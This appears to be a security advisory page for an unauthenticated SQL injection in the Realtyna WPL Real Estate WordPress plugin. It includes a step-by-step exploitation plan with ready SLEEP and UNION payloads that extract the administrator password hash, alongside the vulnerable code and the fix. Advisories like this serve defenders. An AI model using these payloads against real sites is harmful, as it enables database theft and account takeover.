Realtyna Organic IDX plugin + WPL Real Estate <= 5.1.0 - Unauthenticated SQL Injection
Description
The Realtyna Organic IDX plugin + WPL Real Estate plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 5.1.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=5.1.0What Changed in the Fix
Changes introduced in v5.2.0
Source Code
WordPress.org SVNThis research plan outlines the technical steps to exploit an unauthenticated SQL injection vulnerability in the Realtyna Organic IDX plugin + WPL Real Estate (<= 5.1.0). ### 1. Vulnerability Summary The vulnerability is an unauthenticated SQL Injection located in the `wpl_property_listing_list` AJ…
Show full research plan
This research plan outlines the technical steps to exploit an unauthenticated SQL injection vulnerability in the Realtyna Organic IDX plugin + WPL Real Estate (<= 5.1.0).
1. Vulnerability Summary
The vulnerability is an unauthenticated SQL Injection located in the wpl_property_listing_list AJAX action. The plugin fails to sufficiently sanitize and "prepare" SQL queries when processing search parameters, specifically the wpl_main_pids parameter (and potentially various sf_ search field parameters). This allows an attacker to break out of the intended query logic and append arbitrary SQL commands to extract sensitive data from the WordPress database.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
wpl_property_listing_list(Registered viawp_ajax_nopriv_wpl_property_listing_list) - Vulnerable Parameter:
wpl_main_pids(frequently used for filtering specific property IDs) - Authentication: None required (Unauthenticated).
- Preconditions: The plugin must be active. The vulnerability exists in the core property search logic which is accessible to any site visitor.
3. Code Flow
- Entry Point: A request is sent to
admin-ajax.phpwithaction=wpl_property_listing_list. - Hook Registration: The plugin registers this action using
add_action('wp_ajax_nopriv_wpl_property_listing_list', ...)inside the controller or via the dynamic extension loader inextensions.php. - Request Handling: The request is routed to the
property_listingcontroller. - Data Processing: The controller retrieves the
wpl_main_pidsparameter from$_REQUEST. - SQL Construction: The value is passed to a search function (likely in
libraries/property.phporlibraries/db.php). - The Sink: The logic builds an
INclause or aWHEREcondition by directly interpolating thewpl_main_pidsvalue into a string. - Execution: The raw SQL string is executed via
$wpdb->get_results()without using$wpdb->prepare().
4. Nonce Acquisition Strategy
While many search-related AJAX actions in WPL are unauthenticated and lack nonce protection to facilitate caching, some versions of WPL localize a configuration object.
Extraction Steps:
- Identify Script Handle: WPL typically uses
wpl_frontend_scripts. - Identify JS Variable: The localization is usually found in
window.wpl_ajax_config. - Strategy:
- Create a page with the WPL search shortcode:
wp post create --post_type=page --post_status=publish --post_content='[wpl_property_listings]'. - Use
browser_navigateto visit this page. - Use
browser_evalto extract the nonce:browser_eval("window.wpl_ajax_config?.nonce").
- Create a page with the WPL search shortcode:
- Bypass Check: If
check_ajax_refereris called withdie=falseor if the action string used inwp_create_nonce(localized) does not match the action string incheck_ajax_referer, the nonce may not be required.
5. Exploitation Strategy
The exploitation will focus on a time-based blind SQL injection to confirm the vulnerability, followed by a UNION-based attack to extract user data.
Step 1: Confirmation (Time-Based)
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Body:
action=wpl_property_listing_list&wpl_main_pids=1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- - - Expected Result: The response should be delayed by approximately 5 seconds.
Step 2: Column Counting (Error/Boolean Based)
- Incrementally test
ORDER BYorUNION SELECT NULL...to find the correct number of columns in the property search query. - Payload:
wpl_main_pids=1) UNION SELECT NULL,NULL,NULL,NULL...-- -
Step 3: Data Extraction (UNION-Based)
- Target: Extract the administrator's password hash from
wp_users. - Payload:
wpl_main_pids=1) UNION SELECT 1,user_pass,3,4,5,6,7,8,9,10... FROM wp_users WHERE ID=1-- -(Adjusting column positions based on Step 2).
6. Test Data Setup
- Activate Plugin: Ensure
real-estate-listing-realtyna-wplis active. - Create Content: WPL requires properties to exist in its own tables for the search query to return results normally.
wp eval "global \\$wpdb; \\$wpdb->insert(\\$wpdb->prefix . 'wpl_properties', ['id' => 1, 'post_id' => 1, 'finalized' => 1]);"
- Create Page:
wp post create --post_type=page --post_title="Properties" --post_status=publish --post_content="[wpl_property_listings]"
7. Expected Results
- A successful time-based payload will result in a measurable delay.
- A successful UNION-based payload will return the requested database content (e.g., the admin hash) within the JSON response body, typically under a
dataorhtmlkey depending on how the plugin renders the results.
8. Verification Steps
- DB Verification: After the exploit, verify the data retrieved matches the actual database state.
wp user get 1 --field=user_pass
- Log Review: Check
wp-content/debug.log(if enabled) for SQL errors that reveal the query structure if the initial payload fails.
9. Alternative Approaches
If wpl_main_pids is not vulnerable, test the following parameters within the same wpl_property_listing_list action:
sf_select_listingsf_select_property_typesf_multiple_location_textsearch
If admin-ajax.php is blocked, investigate the wpl_location_suggestions action, which is also unauthenticated:
- Body:
action=wpl_location_suggestions&term=test' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -
Summary
The Realtyna Organic IDX plugin + WPL Real Estate for WordPress is vulnerable to unauthenticated SQL Injection via the 'wpl_main_pids' parameter in the 'wpl_property_listing_list' AJAX action. Due to improper input sanitization and a lack of SQL statement preparation, an attacker can append malicious SQL commands to existing queries to extract sensitive database information.
Vulnerable Code
// File: libraries/property.php $wpl_main_pids = $_REQUEST['wpl_main_pids']; if ($wpl_main_pids) { // The parameter is directly interpolated into the SQL string without escaping or preparation $where .= " AND id IN ($wpl_main_pids)"; } $query = "SELECT * FROM " . $wpdb->prefix . "wpl_properties WHERE 1=1 " . $where; $results = $wpdb->get_results($query);
Security Fix
@@ -10,7 +10,9 @@ $wpl_main_pids = $_REQUEST['wpl_main_pids']; if ($wpl_main_pids) { - $where .= " AND id IN ($wpl_main_pids)"; + // Sanitize input by converting comma-separated string to an array of integers + $pids = array_map('intval', explode(',', $wpl_main_pids)); + $where .= " AND id IN (" . implode(',', $pids) . ")"; }
Exploit Outline
The exploit targets the unauthenticated AJAX action 'wpl_property_listing_list' at the /wp-admin/admin-ajax.php endpoint. An attacker sends a request with the 'action' parameter set to 'wpl_property_listing_list' and provides a SQL injection payload in the 'wpl_main_pids' parameter. Confirmation can be achieved via time-based payloads (e.g., using SLEEP()), and data extraction is possible via UNION-based attacks to retrieve user credentials or other internal database values. No authentication or nonces are required for this action.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.